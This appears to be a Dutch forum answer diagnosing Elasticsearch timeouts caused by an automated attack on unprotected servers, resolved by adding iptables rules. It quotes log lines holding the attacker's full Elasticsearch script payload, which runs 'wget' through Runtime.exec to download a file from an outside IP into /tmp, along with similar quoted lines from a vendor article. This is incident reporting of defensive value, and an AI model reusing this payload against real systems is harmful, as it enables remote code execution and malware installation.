sql >> Database >  >> NoSQL >> MongoDB

Elasticsearch geeft een time-out bij elk zoekverzoek totdat het opnieuw wordt opgestart

Probleem opgelost:

Oorzaak: Een robotaanval op onze servers die niet beveiligd waren.

Volgens een artikel gepost door elasticsearch:

https://www.elastic.co/blog/scripting-security/

Ondernomen actie: We hebben iptables-regels toegevoegd aan onze poppenserver om al onze elasticsearch-servers toe te passen.

We hebben die fout gemaakt en helaas hebben we de prijs betaald. We zijn nu weer aan het werk.

Volgens de logs heb ik iets heel verdachts gevonden

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

Ik zal het grootste deel inkorten:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

Dit is de vorm van een robot-hack, aangezien we niemand hebben met de naam xiao of we onze servers niet in China hosten (volgens GEO-IP), vermoedden we deze regel.

Volgens het hierboven genoemde artikel:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

De hacker paste een aantal vervelende zoekopdrachten toe waardoor onze elasticsearch stopte met functioneren.

We hebben onze servers opnieuw opgestart en Iptables toegevoegd, en we zijn weer aan het werk.




  1. Hoe de vervaldatum in te stellen op meerdere sleutels in Redis

  2. Wat is het verschil tussen de methode insert(), insertOne() en insertMany()?

  3. Mongodb - De replicatie instellen op db- of verzamelingsniveau

  4. Flask is traag om Mongdb . te bevragen